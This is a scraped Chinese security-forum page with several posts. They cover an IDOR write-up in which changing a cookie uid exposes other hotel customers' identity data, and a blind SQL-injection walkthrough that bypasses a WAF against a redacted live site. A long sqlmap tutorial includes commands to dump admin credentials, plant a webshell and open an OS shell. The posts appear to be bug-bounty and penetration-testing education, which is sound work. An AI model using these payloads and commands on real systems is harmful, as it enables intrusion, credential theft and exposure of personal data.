漏洞实战挖掘之水平越权

zksmile 发表了文章 • 2 个评论 • 181 次浏览 • 2018-09-24 14:32 • 来自相关话题

最近华住集团信息泄露事件闹的挺大的,看新闻貌似是抓到贩卖数据的人了。于是自己在某漏洞平台SRC上随手找了一个酒店类的厂商测试了一下。
 
在站点注册功能处,需要输入手机号、姓名、身份证号大量个人隐私信息。 




经过测试这里姓名、身份证可以不用输入也能注册,但是如果对于一些对于个人信息保护意识不强的人来说很容易信任该站点,把自己真实的身份信息填写进去。
 
这里我输入了一个虚假的手机号,和身份信息,后台未做任何校验,也没有向手机号发送验证码来校验,注册18888888888直接提示注册成功。 
 
注册成功之后登陆账号,访问自己的资料页面。 




可以看到页面上对身份证号码显示的地方做了 脱敏处理,本来我还想这个开发挺有经验的…..直到我右键查看源代码之后。 




由上图可以看出,页面中有一个隐藏的表单,此时完整的身份证号码就躺在value中,这岂不是掩耳盗铃?
由于此页面可以直接看到用户的姓名、身份证、电话号码信息,于是我就抓取了数据包想要测试一下是否有水平越权。 




在数据包HTTP请求的cookie处,我发现了如上图所示的信息。用户的信息就在cookie中明文传输。
此时使用cookie修改工具,将原本是107318的uid改为 107317 




刷新页面。直接可以越权查看到另外一个人的姓名、身份证、手机号。。。 




 
仅仅是修改一个uid不但可以越权查看个人的资料、酒店订单、收货地址、等等全部可以获取到。。。。。
 
到这一步我想也没必要往下测试了, 点了根雪qie陷入了思考之中。





  查看全部
最近华住集团信息泄露事件闹的挺大的,看新闻貌似是抓到贩卖数据的人了。于是自己在某漏洞平台SRC上随手找了一个酒店类的厂商测试了一下。
 
在站点注册功能处,需要输入手机号、姓名、身份证号大量个人隐私信息。 
1.png

经过测试这里姓名、身份证可以不用输入也能注册,但是如果对于一些对于个人信息保护意识不强的人来说很容易信任该站点,把自己真实的身份信息填写进去。
 
这里我输入了一个虚假的手机号,和身份信息,后台未做任何校验,也没有向手机号发送验证码来校验,注册18888888888直接提示注册成功。 
 
注册成功之后登陆账号,访问自己的资料页面。 
2.png

可以看到页面上对身份证号码显示的地方做了 脱敏处理,本来我还想这个开发挺有经验的…..直到我右键查看源代码之后。 
3.png

由上图可以看出,页面中有一个隐藏的表单,此时完整的身份证号码就躺在value中,这岂不是掩耳盗铃?
由于此页面可以直接看到用户的姓名、身份证、电话号码信息,于是我就抓取了数据包想要测试一下是否有水平越权。 
4.png

在数据包HTTP请求的cookie处,我发现了如上图所示的信息。用户的信息就在cookie中明文传输。
此时使用cookie修改工具,将原本是107318的uid改为 107317 
5.png

刷新页面。直接可以越权查看到另外一个人的姓名、身份证、手机号。。。 
6.png

 
仅仅是修改一个uid不但可以越权查看个人的资料、酒店订单、收货地址、等等全部可以获取到。。。。。
 
到这一步我想也没必要往下测试了, 点了根雪qie陷入了思考之中。

2NLD8Z0Q`TG{M_A9Q84Y188.jpg

 

【2017.08.07】安全文章

发表了文章 • 2 个评论 • 269 次浏览 • 2017-08-07 10:01 • 来自相关话题

Xssing Web Part - 2
 
Github信息泄露升级版案例
 
Docker 入门实战
 
Supervisord远程命令执行漏洞(CVE-2017-11610)
 
  查看全部

利用IIS特性绕过某waf SQL注入拦截

Mosuan 发表了文章 • 5 个评论 • 908 次浏览 • 2017-03-06 13:07 • 来自相关话题

环境:asp.net+iis+access​
 
前几天朋友发给我一个注入叫我帮绕下waf,也不知道这个是不是waf,姑且称为waf吧。
 
 
环境:asp.net+iis+access​
 
前几天朋友发给我一个注入叫我帮绕下waf,也不知道这个是不是waf,姑且称为waf吧。
 
 

记一次特殊的盲注SQL注入

Web安全渗透乌云很白 发表了文章 • 8 个评论 • 692 次浏览 • 2017-02-10 13:15 • 来自相关话题

无意中发现一个漏洞盒子厂商的网址http://www.xxxxx.com/content/index/4
输入http://www.xxxxx.com/content/index/4+1和http://www.xxxxx.com/content/index/5显示是一样的
输入http://www.xxxxx.com/content/index/4-1和http://www.xxxxx.com/content/index/3显示是一样的
初步判断,网址http://www.xxxxx.com/content/index/4处存在整型SQL注入
然后按照常规方法,输入http://www.xxxxx.com/content/index/4 and 1=1
直接出现404
经观察与测试,发现网站存在云锁
初步绕过云锁,这里采用把空格换成/**/
http://www.xxxxx.com/content/index/4//and//1=1
网页显示正常,然后继续深入
http://www.xxxxx.com/content/index/4//and//1=2
网页还是显示正常,这是咋回事呢?找不到原因,暂时归结为云锁的防护吧
这时候,咋办呢,瞬间渗透陷入僵局
然后多方求助,终于在某个群里得到了有价值的提示信息






http://www.xxxxx.com/content/index/ascii(substring(version(),1,1))-1和http://www.xxxxx.com/content/index/4和http://www.xxxxx.com/content/index/ascii('a')-93显示页面是一样的,说明数据库版本号第一位是5
http://www.xxxxx.com/content/index/substring(version(),3,1)和http://www.xxxxx.com/content/index/1显示页面一样,说明数据库第三位是1

http://www.xxxxx.com/content/index/ascii(substring(version(),1,1))-52与http://www.xxxxx.com/content/index/1一样,第一位5
http://www.xxxxx.com/content/index/ascii(substring(version(),2,1))-45与http://www.xxxxx.com/content/index/1一样,第二位是.
http://www.xxxxx.com/content/index/ascii(substring(version(),3,1))-48与http://www.xxxxx.com/content/index/1一样,第三位是1
http://www.xxxxx.com/content/index/ascii(substring(version(),4,1))-45与http://www.xxxxx.com/content/index/1一样,第四位是.
http://www.xxxxx.com/content/index/ascii(substring(version(),5,1))-53与http://www.xxxxx.com/content/index/1一样,第五位是6
MySQL5.1.6

http://www.xxxxx.com/content/index/ascii(substring(database(),1,1))-107与http://www.xxxxx.com/content/index/1显示一样,数据库第一位是l

http://www.xxxxx.com/content/index/1 品牌故事

http://www.xxxxx.com/content/index/2 成功案例,成功案例

http://www.xxxxx.com/content/index/3 HTML5建站

http://www.xxxxx.com/content/index/4 为什么要进行手机APP开发?

http://www.xxxxx.com/content/index/5 企业邮箱

http://www.xxxxx.com/content/index/6 联系方式

http://www.xxxxx.com/content/index/7 我们是谁

http://www.xxxxx.com/content/index/8 最新动态,品牌释义

http://www.xxxxx.com/content/index/9 最新动态,港湾文化

http://www.xxxxx.com/content/index/10 最新动态,资质荣誉

http://www.xxxxx.com/content/index/11 最新动态,新闻动态

http://www.xxxxx.com/content/index/12 最新动态,招贤纳士

http://www.xxxxx.com/content/index/13 成功案例,最新案例

http://www.xxxxx.com/content/index/14 成功案例,品牌网站

http://www.xxxxx.com/content/index/15 成功案例,开发案例

http://www.xxxxx.com/content/index/16 成功案例,商城案例

http://www.xxxxx.com/content/index/17 成功案例,h5案例

http://www.xxxxx.com/content/index/18 成功案例,app案例

http://www.xxxxx.com/content/index/19 成功案例,政府案例

http://www.xxxxx.com/content/index/20 成功案例,企业案例

http://www.xxxxx.com/content/index/21 成功案例,港湾案例

http://www.xxxxx.com/content/index/22 成功案例,设计前沿案例

http://www.xxxxx.com/content/index/23 成功案例,建站知识案例

http://www.xxxxx.com/content/index/24 邮箱功能

http://www.xxxxx.com/content/index/25 管理功能

http://www.xxxxx.com/content/index/26 企业邮箱介绍

http://www.xxxxx.com/content/index/27 常见问题

http://www.xxxxx.com/content/index/28 空白界面

http://www.xxxxx.com/content/index/29 微网站

http://www.xxxxx.com/content/index/30 集团站

http://www.xxxxx.com/content/index/31 平台开发

http://www.xxxxx.com/content/index/32 合作伙伴

http://www.xxxxx.com/content/index/33 厦门总公司

http://www.xxxxx.com/content/index/34 泉州分公司

http://www.xxxxx.com/content/index/35 武汉分公司

http://www.xxxxx.com/content/index/36 郑州分公司
http://www.xxxxx.com/content/index/ascii(substring(database(),2,1))-109与http://www.xxxxx.com/content/index/1一样,第二个是n
http://www.xxxxx.com/content/index/ascii(substring(database(),3,1))-100第三位e
http://www.xxxxx.com/content/index/ascii(substring(database(),4,1))-114 s
http://www.xxxxx.com/content/index/ascii(substring(database(),5,1))-115 t
http://www.xxxxx.com/content/index/ascii(substring(database(),6,1))-94 _
http://www.xxxxx.com/content/index/ascii(substring(database(),7,1))-98 c
http://www.xxxxx.com/content/index/ascii(substring(database(),8,1))-110 o
http://www.xxxxx.com/content/index/ascii(substring(database(),9,1))-108 m
数据库名称为:xxxxx_com 查看全部
无意中发现一个漏洞盒子厂商的网址http://www.xxxxx.com/content/index/4
输入http://www.xxxxx.com/content/index/4+1和http://www.xxxxx.com/content/index/5显示是一样的
输入http://www.xxxxx.com/content/index/4-1和http://www.xxxxx.com/content/index/3显示是一样的
初步判断,网址http://www.xxxxx.com/content/index/4处存在整型SQL注入
然后按照常规方法,输入http://www.xxxxx.com/content/index/4 and 1=1
直接出现404
经观察与测试,发现网站存在云锁
初步绕过云锁,这里采用把空格换成/**/
http://www.xxxxx.com/content/index/4//and//1=1
网页显示正常,然后继续深入
http://www.xxxxx.com/content/index/4//and//1=2
网页还是显示正常,这是咋回事呢?找不到原因,暂时归结为云锁的防护吧
这时候,咋办呢,瞬间渗透陷入僵局
然后多方求助,终于在某个群里得到了有价值的提示信息

QQ图片20170210114659.png


http://www.xxxxx.com/content/index/ascii(substring(version(),1,1))-1和http://www.xxxxx.com/content/index/4和http://www.xxxxx.com/content/index/ascii('a')-93显示页面是一样的,说明数据库版本号第一位是5
http://www.xxxxx.com/content/index/substring(version(),3,1)和http://www.xxxxx.com/content/index/1显示页面一样,说明数据库第三位是1

http://www.xxxxx.com/content/index/ascii(substring(version(),1,1))-52与http://www.xxxxx.com/content/index/1一样,第一位5
http://www.xxxxx.com/content/index/ascii(substring(version(),2,1))-45与http://www.xxxxx.com/content/index/1一样,第二位是.
http://www.xxxxx.com/content/index/ascii(substring(version(),3,1))-48与http://www.xxxxx.com/content/index/1一样,第三位是1
http://www.xxxxx.com/content/index/ascii(substring(version(),4,1))-45与http://www.xxxxx.com/content/index/1一样,第四位是.
http://www.xxxxx.com/content/index/ascii(substring(version(),5,1))-53与http://www.xxxxx.com/content/index/1一样,第五位是6
MySQL5.1.6

http://www.xxxxx.com/content/index/ascii(substring(database(),1,1))-107与http://www.xxxxx.com/content/index/1显示一样,数据库第一位是l

http://www.xxxxx.com/content/index/1 品牌故事

http://www.xxxxx.com/content/index/2 成功案例,成功案例

http://www.xxxxx.com/content/index/3 HTML5建站

http://www.xxxxx.com/content/index/4 为什么要进行手机APP开发?

http://www.xxxxx.com/content/index/5 企业邮箱

http://www.xxxxx.com/content/index/6 联系方式

http://www.xxxxx.com/content/index/7 我们是谁

http://www.xxxxx.com/content/index/8 最新动态,品牌释义

http://www.xxxxx.com/content/index/9 最新动态,港湾文化

http://www.xxxxx.com/content/index/10 最新动态,资质荣誉

http://www.xxxxx.com/content/index/11 最新动态,新闻动态

http://www.xxxxx.com/content/index/12 最新动态,招贤纳士

http://www.xxxxx.com/content/index/13 成功案例,最新案例

http://www.xxxxx.com/content/index/14 成功案例,品牌网站

http://www.xxxxx.com/content/index/15 成功案例,开发案例

http://www.xxxxx.com/content/index/16 成功案例,商城案例

http://www.xxxxx.com/content/index/17 成功案例,h5案例

http://www.xxxxx.com/content/index/18 成功案例,app案例

http://www.xxxxx.com/content/index/19 成功案例,政府案例

http://www.xxxxx.com/content/index/20 成功案例,企业案例

http://www.xxxxx.com/content/index/21 成功案例,港湾案例

http://www.xxxxx.com/content/index/22 成功案例,设计前沿案例

http://www.xxxxx.com/content/index/23 成功案例,建站知识案例

http://www.xxxxx.com/content/index/24 邮箱功能

http://www.xxxxx.com/content/index/25 管理功能

http://www.xxxxx.com/content/index/26 企业邮箱介绍

http://www.xxxxx.com/content/index/27 常见问题

http://www.xxxxx.com/content/index/28 空白界面

http://www.xxxxx.com/content/index/29 微网站

http://www.xxxxx.com/content/index/30 集团站

http://www.xxxxx.com/content/index/31 平台开发

http://www.xxxxx.com/content/index/32 合作伙伴

http://www.xxxxx.com/content/index/33 厦门总公司

http://www.xxxxx.com/content/index/34 泉州分公司

http://www.xxxxx.com/content/index/35 武汉分公司

http://www.xxxxx.com/content/index/36 郑州分公司
http://www.xxxxx.com/content/index/ascii(substring(database(),2,1))-109与http://www.xxxxx.com/content/index/1一样,第二个是n
http://www.xxxxx.com/content/index/ascii(substring(database(),3,1))-100第三位e
http://www.xxxxx.com/content/index/ascii(substring(database(),4,1))-114 s
http://www.xxxxx.com/content/index/ascii(substring(database(),5,1))-115 t
http://www.xxxxx.com/content/index/ascii(substring(database(),6,1))-94 _
http://www.xxxxx.com/content/index/ascii(substring(database(),7,1))-98 c
http://www.xxxxx.com/content/index/ascii(substring(database(),8,1))-110 o
http://www.xxxxx.com/content/index/ascii(substring(database(),9,1))-108 m
数据库名称为:xxxxx_com

SecIcode在线编码工具(内测版) V1

Mosuan 发表了文章 • 5 个评论 • 536 次浏览 • 2017-01-05 18:45 • 来自相关话题

SecIcode在线编码工具(内测版) V1 -- 赛克艾威
 
SecIcode能干嘛,在线编码,十进制、十六进制、hex、url、base64等...
 
现在算是内测阶段,可能后面会加入很多功能,或者是修改很多bug...
 
代码不易,请勿瞎**copy。
 
html+css+javascript组成。
 
http://zone.secevery.com/code/index.html  在线体验,需要什么功能或者有兴趣维护再或者有什么bug的随时私聊我。
 





 
  查看全部
SecIcode在线编码工具(内测版) V1 -- 赛克艾威
 
SecIcode能干嘛,在线编码,十进制、十六进制、hex、url、base64等...
 
现在算是内测阶段,可能后面会加入很多功能,或者是修改很多bug...
 
代码不易,请勿瞎**copy。
 
html+css+javascript组成。
 
http://zone.secevery.com/code/index.html  在线体验,需要什么功能或者有兴趣维护再或者有什么bug的随时私聊我。
 

222222222222.png

 
 

Sqlmap 常见使用方法及详细参数

Web安全渗透kakaxi 发表了文章 • 6 个评论 • 630 次浏览 • 2016-11-15 11:07 • 来自相关话题

Sqlmap使用教程[/b]

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。

今天把我一直以来整理的sqlmap笔记发布上来供大家参考。

 

sqlmap简介

sqlmap支持五种不同的注入模式:
[]基于布尔的盲注,即可以根据返回页面判断条件真假的注入。[/][]基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。[/][]基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。[/][]联合查询注入,可以使用union的情况下的注入。[/][]堆查询注入,可以同时执行多条语句的执行时的注入。[/]

sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

检测注入

基本格式

sqlmap -u “http://www.vuln.cn/post.php?id=1″


默认使用level1检测全部数据库类型

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3


指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可以使用cookie注入

sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)


从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数


注入成功后
获取数据库基本信息

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 –dbs


查询有哪些数据库

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test –tables


查询test数据库中有哪些表

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns


查询test数据库中admin表有哪些字段

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dump


dump出字段username与password中的数据

其他命令参考下面

从数据库中搜索字段

sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password

在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”


使用shell命令:

sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell

接下来指定网站可写目录:
“E:\php\htdocs\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:

–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)


——————————————————————————————————

Options(选项):

–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)


Target(目标):

以下至少需要设置其中一个选项,设置目标URL。

-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
-c CONFIGFILE 从INI配置文件中加载选项。


Request(请求):

这些选项可以用来指定如何连接到目标URL。

–data=DATA 通过POST发送的数据字符串
–cookie=COOKIE HTTP Cookie头
–cookie-urlencode URL 编码生成的cookie注入
–drop-set-cookie 忽略响应的Set – Cookie头信息
–user-agent=AGENT 指定 HTTP User – Agent头
–random-agent 使用随机选定的HTTP User – Agent头
–referer=REFERER 指定 HTTP Referer头
–headers=HEADERS 换行分开,加入其他的HTTP头
–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP代理连接到目标URL
–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP代理
–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL


Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。

-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
-D DBname 要进行枚举的指定数据库名
-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S)
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell


Optimization(优化):

这些选项可用于优化SqlMap的性能。

-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的HTTP(S)连接
–null-connection 从没有实际的HTTP响应体中检索页面长度
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)


Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS为此值
–os=OS 强制后端的DBMS操作系统为这个值
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据


Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页


Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

–technique=TECH SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围用于测试UNION查询注入
–union-char=UCHAR 用于暴力猜解列数的字符


Fingerprint(指纹):

-f, –fingerprint 执行检查广泛的DBMS版本指纹


Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

–common-tables 检查存在共同表
–common-columns 检查存在共同列


User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径


File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径


Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。

–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter或VNC
–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径


Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。

–reg-read 读一个Windows注册表项值
–reg-add 写一个Windows注册表项值数据
–reg-del 删除Windows注册表键值
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表项值
–reg-data=REGDATA Windows注册表键值数据
–reg-type=REGTYPE Windows注册表项值类型


这些选项可以用来设置一些一般的工作参数。

-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新SqlMap
–save file保存选项到INI配置文件


–batch 从不询问用户输入,使用所有默认配置。


Miscellaneous(杂项):


–beep 发现SQL注入时提醒
–check-payload IDS对注入payloads的检测测试
–cleanup SqlMap具体的UDF和表清理DBMS
–forms 对目标URL的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
–page-rank Google dork结果显示网页排名(PR)
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个sqlite3数据库
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 给初级用户的简单向导界面

 
 
本文作者:Sofia @ 邮箱 , 个人主页
版权声明:除非本文有注明出处,否则转载请注明本文来自 http://www.vuln.cn
本文地址:http://www.vuln.cn/?p=1992 查看全部


Sqlmap使用教程[/b]

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。

今天把我一直以来整理的sqlmap笔记发布上来供大家参考。

 

sqlmap简介

sqlmap支持五种不同的注入模式:
    []基于布尔的盲注,即可以根据返回页面判断条件真假的注入。[/][]基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。[/][]基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。[/][]联合查询注入,可以使用union的情况下的注入。[/][]堆查询注入,可以同时执行多条语句的执行时的注入。[/]


sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

检测注入

基本格式


sqlmap -u “http://www.vuln.cn/post.php?id=1″



默认使用level1检测全部数据库类型


sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3



指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可以使用cookie注入


sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)



从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包


sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数



注入成功后
获取数据库基本信息


sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 –dbs



查询有哪些数据库


sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test –tables



查询test数据库中有哪些表


sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns



查询test数据库中admin表有哪些字段


sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dump



dump出字段username与password中的数据

其他命令参考下面

从数据库中搜索字段


sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password


在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:


sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”



使用shell命令


sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell


接下来指定网站可写目录:
“E:\php\htdocs\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:


–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)



——————————————————————————————————

Options(选项):


–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)



Target(目标):

以下至少需要设置其中一个选项,设置目标URL。


-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
-c CONFIGFILE 从INI配置文件中加载选项。



Request(请求):

这些选项可以用来指定如何连接到目标URL。


–data=DATA 通过POST发送的数据字符串
–cookie=COOKIE HTTP Cookie头
–cookie-urlencode URL 编码生成的cookie注入
–drop-set-cookie 忽略响应的Set – Cookie头信息
–user-agent=AGENT 指定 HTTP User – Agent头
–random-agent 使用随机选定的HTTP User – Agent头
–referer=REFERER 指定 HTTP Referer头
–headers=HEADERS 换行分开,加入其他的HTTP头
–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP代理连接到目标URL
–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP代理
–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL



Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。


-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
-D DBname 要进行枚举的指定数据库名
-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S)
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的SQL语句
